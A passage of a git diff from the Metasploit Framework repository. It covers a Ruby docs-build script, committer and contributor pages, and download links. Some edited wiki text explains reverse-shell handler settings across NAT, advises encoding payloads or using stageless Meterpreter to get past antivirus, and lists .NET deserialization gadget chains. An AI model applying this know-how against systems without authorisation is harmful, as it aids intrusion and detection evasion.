RELEASE_BUILD_ARTIFACTS = '_site'.freeze
# For now we Git clone the existing metasploit wiki and generate the Jekyll markdown files
# for each build. This allows changes to be made to the existing wiki until it's migrated
@@ -32,6 +35,9 @@ module Build
end
end
class ConfigValidationError < StandardError
end
# Configuration for generating the new website hierarchy, from the existing metasploit-framework wiki
class Config
include Enumerable
@@ -43,34 +49,39 @@ module Build
def validate!
configured_paths = all_file_paths
missing_paths = available_paths.map { |path| path.gsub("#{WIKI_PATH}/", '') } - ignored_paths - existing_docs - configured_paths
raise "Unhandled paths #{missing_paths.join(', ')}" if missing_paths.any?
raise ConfigValidationError, "Unhandled paths #{missing_paths.join(', ')} - add navigation entries to navigation.rb for these files" if missing_paths.any?
each do |page|
page_keys = page.keys
allowed_keys = %i[old_wiki_path path new_base_name nav_order title new_path folder children has_children parents]
invalid_keys = page_keys - allowed_keys
raise "#{page} had invalid keys #{invalid_keys.join(', ')}" if invalid_keys.any?
suggestion = DidYouMean::SpellChecker.new(dictionary: allowed_keys).correct(invalid_keys[0]).first
error = "#{page} had invalid keys #{invalid_keys.join(', ')}."
error += " Did you mean #{suggestion}?" if suggestion
raise ConfigValidationError, error if invalid_keys.any?
end
# Ensure unique folder names
folder_titles = to_enum.select { |page| page[:folder] }.map { |page| page[:title] }
duplicate_folder = folder_titles.tally.select { |_name, count| count > 1 }
raise "Duplicate folder titles, will cause issues: #{duplicate_folder}" if duplicate_folder.any?
raise ConfigValidationError, "Duplicate folder titles, will cause issues: #{duplicate_folder}" if duplicate_folder.any?
# Ensure no folder titles match file titles
page_titles = to_enum.reject { |page| page[:folder] }.map { |page| page[:title] }
title_collisions = (folder_titles & page_titles).tally
raise "Duplicate folder/page titles, will cause issues: #{title_collisions}" if title_collisions.any?
raise ConfigValidationError, "Duplicate folder/page titles, will cause issues: #{title_collisions}" if title_collisions.any?
# Ensure there are no files being migrated to multiple places
page_paths = to_enum.reject { |page| page[:path] }.map { |page| page[:title] }
duplicate_page_paths = page_paths.tally.select { |_name, count| count > 1 }
raise "Duplicate paths, will cause issues: #{duplicate_page_paths}" if duplicate_page_paths.any?
raise ConfigValidationError, "Duplicate paths, will cause issues: #{duplicate_page_paths}" if duplicate_page_paths.any?
# Ensure new file paths are only alphanumeric and hyphenated
new_paths = to_enum.map { |page| page[:new_path] }
invalid_new_paths = new_paths.reject { |path| File.basename(path) =~ /^[a-zA-Z0-9_-]*\.md$/ }
raise "Only alphanumeric and hyphenated file names required: #{invalid_new_paths}" if invalid_new_paths.any?
raise ConfigValidationError, "Only alphanumeric and hyphenated file names required: #{invalid_new_paths}" if invalid_new_paths.any?
end
def available_paths
@@ -176,16 +187,22 @@ module Build
@config.enum_for(:each).map { |page| page }
end
# scans for absolute links to the old wiki such as 'https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service'
# scans for absolute links to the old wiki such as 'https://docs.metasploit.com/docs/using-metasploit/advanced/metasploit-web-service.html'
def extract_absolute_wiki_links(markdown)
new_links = {}
markdown.scan(%r{(https?://github.com/rapid7/metasploit-framework/wiki/([\w().%_-]+))}) do |full_match, old_path|
markdown.scan(%r{(https?://github.com/rapid7/metasploit-framework/wiki/([\w().%_#-]+))}) do |full_match, old_path|
full_match = full_match.gsub(/[).]+$/, '')
old_path = URI.decode_www_form_component(old_path.gsub(/[).]+$/, ''))
new_path = new_path_for(old_path)
replacement = "{% link docs/#{new_path} %}"
begin
old_path_anchor = URI.parse(old_path).fragment
rescue URI::InvalidURIError
old_path_anchor = nil
end
new_path = new_path_for(old_path, old_path_anchor)
replacement = "{% link docs/#{new_path} %}#{old_path_anchor ? "##{old_path_anchor}" : ""}"
link = {
full_match: full_match,
@@ -205,18 +222,26 @@ module Build
# '[[Custom name|Relative Path]]'
# '[[Custom name|relative-path]]'
# '[[Custom name|./relative-path.md]]'
# '[[Custom name|./relative-path.md#section-anchor-to-link-to]]'
# Note that the page target resource file is validated for existence at build time - but the section anchors are not
def extract_relative_links(markdown)
existing_links = @links
new_links = {}
markdown.scan(/(\[\[([\w\/_ '().:,-]+)(?:\|([\w\/_ '():,.-]+))?\]\])/) do |full_match, left, right|
markdown.scan(/(\[\[([\w\/_ '().:,-]+)(?:\|([\w\/_ '():,.#-]+))?\]\])/) do |full_match, left, right|
old_path = (right || left)
new_path = new_path_for(old_path)
begin
old_path_anchor = URI.parse(old_path).fragment
rescue URI::InvalidURIError
old_path_anchor = nil
end
new_path = new_path_for(old_path, old_path_anchor)
if existing_links[full_match] && existing_links[full_match][:new_path] != new_path
raise "Link for #{full_match} previously resolved to #{existing_links[full_match][:new_path]}, but now resolves to #{new_path}"
end
link_text = left
replacement = "[#{link_text}]({% link docs/#{new_path} %})"
replacement = "[#{link_text}]({% link docs/#{new_path} %}#{old_path_anchor ? "##{old_path_anchor}" : ""})"
link = {
full_match: full_match,
@@ -233,18 +258,39 @@ module Build
new_links
end
def new_path_for(old_path)
old_path = old_path.gsub(' ', '-')
def new_path_for(old_path, old_path_anchor)
# Strip out any leading `./` or `/` before the relative path.
# This is needed for our later code that does additional filtering for
# potential ambiguity with absolute paths since those comparisons occur
# against filenames without the leading ./ and / parts.
old_path = old_path.gsub(/^[.\/]+/, '')
# Replace any spaces in the file name with - separators, then
# make replace anchors with an empty string.
old_path = old_path.gsub(' ', '-').gsub("##{old_path_anchor}", '')
matched_pages = pages.select do |page|
!page[:folder] &&
(File.basename(page[:path]).downcase == "#{File.basename(old_path)}.md".downcase ||
File.basename(page[:path]).downcase == "#{File.basename(old_path)}".downcase)
end
if matched_pages.empty?
raise "Missing path for #{old_path}"
raise "Link not found: #{old_path}"
end
# Additional filter for absolute paths if there's potential ambiguity
if matched_pages.count > 1
raise "Duplicate paths for #{old_path}"
refined_pages = matched_pages.select do |page|
!page[:folder] &&
(page[:path].downcase == "#{old_path}.md".downcase ||
page[:path].downcase == old_path.downcase)
end
if refined_pages.count != 1
page_paths = matched_pages.map { |page| page[:path] }
raise "Duplicate paths for #{old_path} - possible page paths found: #{page_paths}"
end
matched_pages = refined_pages
end
matched_pages.first.fetch(:new_path)
@@ -273,7 +319,11 @@ module Build
'@zeroSteiner',
'@harmj0y',
]
# These tags look like Github/Twitter handles, but are actually ruby/java code snippets
ignored_tags = [
'@spid',
'@adf3',
'@LDAP-DC3',
'@harmj0yDescription',
'@phpsessid',
'@http_client',
@@ -293,6 +343,15 @@ module Build
'@scanner',
'@yieldparam',
'@yieldreturn',
'@compressed',
'@content',
'@path',
'@sha1',
'@type',
'@git_repo_uri',
'@git_addr',
'@git_objs',
'@refs',
]
# Replace any dangling github usernames, i.e. `@foo` - but not `[@foo](http://...)` or `email@example.com`
@@ -337,7 +396,12 @@ module Build
# - Converts the existing Wiki markdown pages into a Jekyll format
# - Optionally updates the existing Wiki markdown pages with a link to the new website location
def run(config, options = {})
config.validate!
begin
config.validate!
rescue
puts "[!] Validation failed. Please verify navigation.rb is valid, as well as the markdown file"
raise
end
# Clean up new docs folder in preparation for regenerating it entirely from the latest wiki
result_folder = File.join('.', 'docs')
@@ -351,7 +415,8 @@ module Build
**page.slice(:title, :has_children, :nav_order),
parent: (page[:parents][-1] || {})[:title],
warning: "Do not modify this file directly. Please modify metasploit-framework/docs/metasploit-framework.wiki instead",
old_path: page[:path] ? File.join(WIKI_PATH, page[:path]) : "none - folder automatically generated"
old_path: page[:path] ? File.join(WIKI_PATH, page[:path]) : "none - folder automatically generated",
has_content: !page[:path].nil?
}.compact
page_config[:has_children] = true if page[:has_children]
@@ -365,7 +430,7 @@ module Build
new_path = File.join(result_folder, page[:new_path])
FileUtils.mkdir_p(File.dirname(new_path))
if page[:folder]
if page[:folder] && page[:path].nil?
new_docs_content = preamble.rstrip + "\n"
else
old_path = File.join(WIKI_PATH, page[:path])
@@ -397,7 +462,7 @@ module Build
def link_corrector_for(config)
link_corrector = LinkCorrector.new(config)
config.each do |page|
unless page[:folder]
unless page[:path].nil?
content = File.read(File.join(WIKI_PATH, page[:path]), encoding: Encoding::UTF_8)
link_corrector.extract(content)
end
@@ -407,8 +472,8 @@ module Build
end
end
# Serve the production build at http://127.0.0.1:4000/metasploit-framework/
class ProductionServer
# Serve the release build at http://127.0.0.1:4000/metasploit-framework/
class ReleaseBuildServer
autoload :WEBrick, 'webrick'
def self.run
@@ -417,7 +482,7 @@ module Build
Port: 4000
}
)
server.mount('/', WEBrick::HTTPServlet::FileHandler, PRODUCTION_BUILD_ARTIFACTS)
server.mount('/', WEBrick::HTTPServlet::FileHandler, RELEASE_BUILD_ARTIFACTS)
trap('INT') do
server.shutdown
rescue StandardError
@@ -522,11 +587,18 @@ module Build
end
if options[:production]
FileUtils.remove_dir(PRODUCTION_BUILD_ARTIFACTS, true)
FileUtils.remove_dir(RELEASE_BUILD_ARTIFACTS, true)
run_command('JEKYLL_ENV=production bundle exec jekyll build')
if options[:serve]
ProductionServer.run
ReleaseBuildServer.run
end
elsif options[:staging]
FileUtils.remove_dir(RELEASE_BUILD_ARTIFACTS, true)
run_command('JEKYLL_ENV=production bundle exec jekyll build --config _config.yml,_config_staging.yml')
if options[:serve]
ReleaseBuildServer.run
end
elsif options[:serve]
run_command('bundle exec jekyll serve --config _config.yml,_config_development.yml --incremental')
@@ -550,6 +622,10 @@ if $PROGRAM_NAME == __FILE__
options[:production] = production
end
opts.on('--staging', 'Run a staging build for deploying to gh-pages') do |staging|
options[:staging] = staging
end
opts.on('--serve', 'serve the docs site') do |serve|
options[:serve] = serve
end
@@ -573,6 +649,10 @@ if $PROGRAM_NAME == __FILE__
options[:create_wiki_to_framework_migration_branch] = true
end
end
if ARGV.length == 0
puts options_parser.help
exit 1
end
options_parser.parse!
Build.run(options)
+1 -1
View File
@@ -1,3 +1,3 @@
View the latest API docs at:
[https://rapid7.github.io/metasploit-framework/api/](https://rapid7.github.io/metasploit-framework/api/)
[https://docs.metasploit.com/api/](https://docs.metasploit.com/api/)
@@ -5,39 +5,42 @@ can be used to verify merge commits made to <https://github.com/rapid7/metasploi
Keybase.io is used by Metasploit as an easy way to verify identities of committers. If you're a committer on metasploit-framework, and you need an invite, just ask.
<sup>Altering this table's layout will almost certainly break [import-dev-keys.sh](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/import-dev-keys.sh), so please don't.</sup>
| Github Username | Keybase.io Username |
| ------------------------------------------------- | -------------------------------------------------- |
| [@acammack-r7](https://github.com/acammack-r7) | [acammackr7](https://keybase.io/acammackr7) |
| [@adfoster-r7](https://github.com/adfoster-r7) | [adfosterr7](https://keybase.io/adfosterr7) |
| [@bcoles](https://github.com/bcoles) | [bcoles](https://keybase.io/bcoles) |
| [@busterb](https://github.com/busterb) | [busterb](https://keybase.io/busterb) |
| [@bwatters-r7](https://github.com/bwatters-r7) | [bwatters](https://keybase.io/bwatters) |
| [@ccondon-r7](https://github.com/ccondon-r7) | [catc0n](https://keybase.io/catc0n) |
| [@cdelafuente-r7](https://github.com/cdelafuente-r7)|[cdelafuente](https://keybase.io/cdelafuente) |
| [@cdelafuente-r7](https://github.com/cdelafuente-r7)|[cdelafuente](https://keybase.io/cdelafuente) |
| [@cgranleese-r7](https://github.com/cgranleese-r7)| |
| [@chiggins](https://github.com/chiggins) | [chiggins](https://keybase.io/chiggins) |
| [@egypt](https://github.com/egypt) | [egypt](https://keybase.io/egypt) |
| [@dwelch-r7](https://github.com/dwelch-r7) | [dwelchr7](https://keybase.io/dwelchr7) |
| [@erran-r7](https://github.com/erran-r7) | [err7n](https://keybase.io/err7n) |
| [@ekelly-rapid7](https://github.com/ekelly-rapid7)| |
| [@FireFart](https://github.com/FireFart) | [firefart](https://keybase.io/firefart) |
| [@Green-m](https://github.com/Green-m) | [green-m](https://keybase.io/green_m) |
| [@gwillcox-r7](https://github.com/gwillcox-r7) | [grantwillcox](https://keybase.io/grantwillcox) |
| [@h00die](https://github.com/h00die) | [h00die](https://keybase.io/h00die) |
| [@jbarnett-r7](https://github.com/jbarnett-r7) | [jmbarnett](https://keybase.io/jmbarnett) |
| [@hwilson-r7](https://github.com/hwilson-r7) | |
| [@jharris-r7](https://github.com/jharris-r7) | |
| [@jheysel-r7](https://github.com/jheysel-r7) | |
| [@jmartin-r7](https://github.com/jmartin-r7) | [jmartinr7](https://keybase.io/jmartinr7) |
| [@lsato-r7](https://github.com/lsato-r7) | [louissato](https://keybase.io/lsato) |
| [@Meatballs1](https://github.com/Meatballs1) | [meatballs](https://keybase.io/meatballs) |
| [@mkienow-r7](https://github.com/mkienow-r7) | [inokii](https://keybase.io/inokii) |
| [@mubix](https://github.com/mubix) | [mubix](https://keybase.io/mubix) |
| [@nhkaraka-r7](https://github.com/nhkaraka-r7) | |
| [@OJ](https://github.com/OJ) | [oj](https://keybase.io/oj) |
| [@rhodgman-r7](https://github.com/rhodgman-r7) | [rhodgmanr7](https://keybase.io/rhodgmanr7) |
| [@scriptjunkie](https://github.com/scriptjunkie) | [scriptjunkie](https://keybase.io/scriptjunkie) |
| [@sgonzalez-r7](https://github.com/sgonzalez-r7) | [essgee](https://keybase.io/essgee) |
| [@smashery](https://github.com/smashery) | [smashery](https://keybase.io/smashery) |
| [@smcintyre-r7](https://github.com/smcintyre-r7) | |
| [@space-r7](https://github.com/space-r7) | [shelbyp](https://keybase.io/shelbyp) |
| [@tdoan-r7](https://github.com/tdoan-r7) | [doanosaur](https://keybase.io/doanosaur) |
| [@tas-r7](https://github.com/tas-r7) | |
| [@timwr](https://github.com/timwr) | [timwr](https://keybase.io/timwr) |
| [@todb-r7](https://github.com/todb-r7) | [todb](https://keybase.io/todb) |
| [@void-in](https://github.com/void-in) | [void_in](https://keybase.io/void_in) |
| [@wchen-r7](https://github.com/wchen-r7) | [wchenr7](https://keybase.io/wchenr7) |
| [@zeroSteiner](https://github.com/zeroSteiner) | [zerosteiner](https://keybase.io/zerosteiner) |
| [@zgoldman-r7](https://github.com/zgoldman-r7) | |
Note, keybase.io does **not require** your private key to prove your GitHub
identity. Actually sharing your private key with Keybase.io is a matter of
@@ -46,7 +49,7 @@ thoughtful argument [for][pro-sharing].
# Tracking criteria
In order to get [@bcook-r7](https://github.com/bcook-r7) to track your key, you
In order to get [@smcintyre-r7](https://github.com/smcintyre-r7) to track your key, you
alert him to its existence through some non-GitHub means, and verify your
GitHub username. That's all there is to it.
@@ -73,7 +76,7 @@ Please select what kind of key you want:
(4) RSA (sign only)
Your selection? 4
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)
What keysize do you want? (2048)
Requested keysize is 2048 bits
Please specify how long the key should be valid.
0 = key does not expire
@@ -91,7 +94,7 @@ from the Real Name, Comment and Email Address in this form:
Real name: Dade Murphy
Email address: dmurphy@thegibson.example
Comment:
Comment:
You selected this USER-ID:
"Dade Murphy <dmurphy@thegibson.example>"
@@ -115,7 +118,7 @@ Enter passphrase: [...]
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
[msf-committers]:https://github.com/rapid7/metasploit-framework/wiki/Committer-Rights
[msf-committers]:https://docs.metasploit.com/docs/development/maintainers/committer-rights.html
[pro-sharing]:https://filippo.io/on-keybase-dot-io-and-encrypted-private-key-sharing/
[con-sharing]:https://www.tbray.org/ongoing/When/201x/2014/03/19/Keybase#p-5
[tracking]:https://github.com/keybase/keybase-issues/issues/100
@@ -2,7 +2,7 @@
The term "Metasploit Committers" describes people who have direct write access to the [Rapid7 Metasploit-Framework fork](https://github.com/rapid7/metasploit-framework). These are the people who can land changes to this main fork of the Framework. However, it is not necessary to have committer rights in order to contribute to Metasploit. Much of our code comes from non-committers.
We encourage anyone to fork the Metasploit project, make changes, fix bugs, and notify the core committers about those changes via [Pull Requests](http://github.com/rapid7/metasploit-framework/pulls). The process for getting started is most comprehensively documented in the [Metasploit Development Environment](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) setup guide.
We encourage anyone to fork the Metasploit project, make changes, fix bugs, and notify the core committers about those changes via [Pull Requests](http://github.com/rapid7/metasploit-framework/pulls). The process for getting started is most comprehensively documented in the [[Metasploit Development Environment|./dev/Setting-Up-a-Metasploit-Development-Environment.md]] setup guide.
Metasploit committers are a mix of [Rapid7](http://rapid7.com) employees and outside contributors. Anyone can become a contributor, with the following expectations:
@@ -24,7 +24,7 @@ If you reject a pull request, be clear in the pull request why it was rejected,
Even if someone else approves of a pull request, and it is shown to be broken later, then it is still your responsibility to correct it. Make every effort to get a fix or revert in as soon as possible, whether you wrote the code, landed it, or approved it. Blame is shared equally.
A list of committer public keys [is here](https://github.com/rapid7/metasploit-framework/wiki/Committer-Keys).
A list of committer public keys [[is here|./Committer-Keys.md]].
# How to Gain Commit Rights
@@ -33,7 +33,7 @@ Commit rights are granted via votes on the committers mailing list. Voting recor
1. Any current committer may nominate any one person as a potential committer by writing to the committers mailing list.
2. The nominator must provide a justification for committer rights, and include the nominee's e-mail address.
2. After some discussion on the mailing list, there will be a group vote on the nominee.
2. The Metasploit manager (@busterb) will inform the new committer of their new commit rights and responsibilities, add the new committer to the appropriate ACL groups and mailing lists, and inform the mailing list of the successful completion of these tasks.
2. The Metasploit manager ([@smcintyre-r7](https://github.com/smcintyre-r7)) will inform the new committer of their new commit rights and responsibilities, add the new committer to the appropriate ACL groups and mailing lists, and inform the mailing list of the successful completion of these tasks.
Committers introduced in this way will have commit rights to the [public framework repositories](https://github.com/orgs/rapid7/teams/framework-public-committers/repositories).
@@ -45,7 +45,7 @@ Breaches of trust in terms of malicious or malformed code, or the demonstration
# Useful Links for Committers
* [http://r-7.co/MSF-DEV](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) is pretty much required reading.
* [[Setting Up a Metasploit Development Environment|./dev/Setting-Up-a-Metasploit-Development-Environment.md]] is pretty much required reading.
* So is [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md)
* Check out the Apache Software Foundation's [Guide for Committers](https://www.apache.org/dev/committers). It's illuminating.
* [Producing Open Source Software](http://www.producingoss.com/gl/) by Ken Fogel is a must-read.
@@ -358,7 +358,6 @@ Pulling it all together, we get a new `ftp_login` module that looks something li
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/ftp'
@@ -472,4 +471,4 @@ class Metasploit3 < Msf::Auxiliary
end
end
end
```
```
@@ -6,13 +6,13 @@ whilst also avoiding some common pitfalls and learning how some of our systems w
## Initial Steps and Important Notes
The rest of this guide assumes you have already followed the steps at [Setting Up A Developer Environment](https://r-7.co/MSF-DEV) in order to get
a fork of Metasploit set up and ready to run, and that you have added in your SSH keys
(see [Adding a New SSH Key To Your GitHub Account](https://docs.github.com/en/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)),
a fork of Metasploit set up and ready to run, and that you have added in your SSH keys
(see [Adding a New SSH Key To Your GitHub Account](https://docs.github.com/en/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)),
set up Ruby and optionally the PostgreSQL database, and done any custom shortcuts you wish to configure.
## Getting the Latest Version of Metasploit Framework
Before making any new contributions, you will want to sure you are running the latest version of Metasploit Framework.
To do this run `git checkout master && git fetch upstream && git pull`, where `upstream` is the branch connected to the
To do this run `git checkout master && git fetch upstream && git pull`, where `upstream` is the branch connected to the
Rapid7 remote, aka Rapid7's copy of the code. You can verify that `upstream` is set correctly by running `git remote get-url upstream`
and verifying it is set to `git@github.com:rapid7/metasploit-framework.git`.
@@ -51,13 +51,13 @@ done when the code is ready to be landed into Metasploit Framework to help make
## Checking for Code Errors
Before code can be accepted into Metasploit Framework, it must also pass our RuboCop and MsfTidy rules. These help ensure that
all contributors are committing code that follows a common set of standards. To check if your code meets our RuboCop standards,
all contributors are committing code that follows a common set of standards. To check if your code meets our RuboCop standards,
from the root of wherever you cloned your fork of Metasploit Framework to on disk, run `rubocop <path to your module from current directory>`.
Specifying the `-a` parameter will ask RuboCop to check your module and if possible fix any issues that RuboCop is able to fix.
In this case the command would be `rubocop -a <path to your module from current directory>`. It is encouraged to keep running
this command and fixing any issues that come up until RuboCop no longer comes back with any errors to report. Once this is
complete, run `git add <file>` followed by `git commit -m "RuboCop Fixes"`. You can change the commit message if you
In this case the command would be `rubocop -a <path to your module from current directory>`. It is encouraged to keep running
this command and fixing any issues that come up until RuboCop no longer comes back with any errors to report. Once this is
complete, run `git add <file>` followed by `git commit -m "RuboCop Fixes"`. You can change the commit message if you
want, but it should mention RuboCop as it helps maintainers know what the commit is related to.
As a good practice rule, you should always separate your commits that contain RuboCop changes from those that contain non-RuboCop related changes.
@@ -71,8 +71,8 @@ against your module code (if applicable), using `tools/dev/msftidy.rb <path to m
if your module passed the tests. Try and fix any errors mentioned here.
## Writing Documentation
The next step to do, if you are writing a module, is to write the documentation for the module. You can find some information
on how to write module documentation at [Writing Module Documentation](https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html).
The next step to do, if you are writing a module, is to write the documentation for the module. You can find some information
on how to write module documentation at [[Writing Module Documentation|./Writing-Module-Documentation.md]].
In general when writing documentation you will want to search for a similar documentation file under the `documentation`
folder located in the root of the Metasploit fork. You can then copy one of these files and use it as the basis for writing
@@ -91,15 +91,15 @@ these may be okay to ignore depending on the context. A good example is if a lin
safely ignored.
## Submitting Your Changes and Opening a PR
Once you have gone through all of the steps above you should be ready to submit your PR. To submit your PR, first check which
branch points to your copy of the code. If you have followed the setup guide, it should be `origin`. You can double check this
Once you have gone through all of the steps above you should be ready to submit your PR. To submit your PR, first check which
branch points to your copy of the code. If you have followed the setup guide, it should be `origin`. You can double check this
branch's remote URL using `git remote get-url origin`. It should look something like `git@github.com:gwillcox-r7/metasploit-framework`
with `gwillcox-r7` substituted for your username.
Assuming the `origin` branch is in fact pointing to your copy of the code, run `git push origin local-branch:remote-branch`
and replace `local-branch` with the branch locally where your code changes are located, and `remote-branch` with what
you want this branch to be called on the remote repository, aka `origin` which will be your fork on GitHub.com. In most
cases you will want these two names to be the same to avoid confusion, but its good to know this syntax should you
Assuming the `origin` branch is in fact pointing to your copy of the code, run `git push origin local-branch:remote-branch`
and replace `local-branch` with the branch locally where your code changes are located, and `remote-branch` with what
you want this branch to be called on the remote repository, aka `origin` which will be your fork on GitHub.com. In most
cases you will want these two names to be the same to avoid confusion, but its good to know this syntax should you
start working with more complex situations. Note that if the branch pointing to your copy of the code is not named `origin`,
replace the word `origin` in the command above with the name of the branch that does point to your copy of the code.
@@ -114,10 +114,10 @@ Compressing objects: 100% (8/8), done.
Writing objects: 100% (8/8), 1.55 KiB | 1.55 MiB/s, done.
Total 8 (delta 7), reused 0 (delta 0), pack-reused 0
remote: Resolving deltas: 100% (7/7), completed with 7 local objects.
remote:
remote:
remote: Create a pull request for 'update_mssql_lib_parameters' on GitHub by visiting:
remote: https://github.com/gwillcox-r7/metasploit-framework/pull/new/update_mssql_lib_parameters
remote:
remote:
To github.com:gwillcox-r7/metasploit-framework
* [new branch] update_mssql_lib_parameters -> update_mssql_lib_parameters
```
@@ -46,13 +46,13 @@ Any user of Metasploit will tell you that they know what `LHOST` and `LPORT` mea
A **handler** obviously needs to listen on a host/IP for the incoming connection. In cases where the `LHOST` value, for example the address that the target is able to reach, is the same as that which the host can listen on, no extra work has to be done. The `LHOST` value is used by the handler.
However, if some kind of NAT or port forward is enabled, or if the handler is behind a firewall, then setting `LHOST` isn't enough. In order to listen on the appropriate interface, another setting must be used called `ReverseListenerBindHost`. This value tells the **handler** to listen on a different interface/IP, but it doesn't change the fact that the `LHOST` value is given to the target when the **stage** is uploaded.
However, if some kind of NAT or port forward is enabled, or if the handler is behind a firewall, then setting `LHOST` isn't enough. In order to listen on the appropriate interface, another setting must be used called `ReverseListenerBindAddress`. This value tells the **handler** to listen on a different interface/IP, but it doesn't change the fact that the `LHOST` value is given to the target when the **stage** is uploaded.
In short, `LHOST` must always remain the IP/host that is routable from the target, and if this value is not the same as what the listener needs to bind to, then change the `ReverseListenerBindHost` value. If you're attacking something across the Internet and you specify an internal IP in `LHOST`, you're doing it wrong.
In short, `LHOST` must always remain the IP/host that is routable from the target, and if this value is not the same as what the listener needs to bind to, then change the `ReverseListenerBindAddress` value. If you're attacking something across the Internet and you specify an internal IP in `LHOST`, you're doing it wrong.
## LPORT
The principles of `LHOST` and `ReverseListenerBindHost` can be applied to `LPORT` and `ReverseListenerBindPort` as well. If you have port forwarding in place, and your listener needs to bind to a different port, then you need to make use of the `ReverseListenerBindPort` setting.
The principles of `LHOST` and `ReverseListenerBindAddress` can be applied to `LPORT` and `ReverseListenerBindPort` as well. If you have port forwarding in place, and your listener needs to bind to a different port, then you need to make use of the `ReverseListenerBindPort` setting.
The classic example of this case is where an attacker wants to make use of port `443`, but rightfully doesn't want to run Metasploit as `root` just so they can directly bind to ports lower than `1024`. Instead, the set up a port forward (on their router, or using `iptables`) so that `443` forwards to `8443`, with a goal of accepting connections on that port instead.
@@ -75,4 +75,4 @@ There are a few things to check for when debugging a dead shell.
### Not so quick things to check
* If the target is running AntiVirus there's a chance that the **stage** , for example `metsrv`, is being caught while being uploaded. `reverse_tcp` and `reverse_http` **stagers** download `metsrv` _without_ any encryption, and so the content of the DLL is visible to anything watching on the wire. `reverse_https` can still get caught in cases where AV is doing MITM content inspection. In this case, consider encoding your payloads, or if possible using stageless Meterpreter instead.
* If the target is running AntiVirus there's a chance that the **stage** , for example `metsrv`, is being caught while being uploaded. `reverse_tcp` and `reverse_http` **stagers** download `metsrv` _without_ any encryption, and so the content of the DLL is visible to anything watching on the wire. `reverse_https` can still get caught in cases where AV is doing MITM content inspection. In this case, consider encoding your payloads, or if possible using stageless Meterpreter instead.
@@ -12,7 +12,7 @@ compatibility of each.
| Gadget Chain Name | BinaryFormatter | LosFormatter | SoapFormatter |
| --------------------------- | --------------- | ------------ | ------------- |
| ClaimsPrincipal | Yes | Yes | Yes |
| ClaimsPrincipal | Yes | Yes | Yes |
| TextFormattingRunProperties | Yes | Yes | Yes |
| TypeConfuseDelegate | Yes | Yes | No |
| WindowsIdentity | Yes | Yes | Yes |
@@ -134,5 +134,5 @@ payloads such as Meterpreter.
[5]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization/types
[6]: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/util/dot_net_deserialization.rb
[7]: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/util/dot_net_deserialization_spec.rb
[8]: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
[9]: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Powershell-in-an-exploit
[8]: https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html
[9]: https://docs.metasploit.com/docs/development/developing-modules/libraries/how-to-use-powershell-in-an-exploit.html
@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/
|Download Link|File Type|SHA1|PGP|
|-|-|-|-|
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc)|
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc)|
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
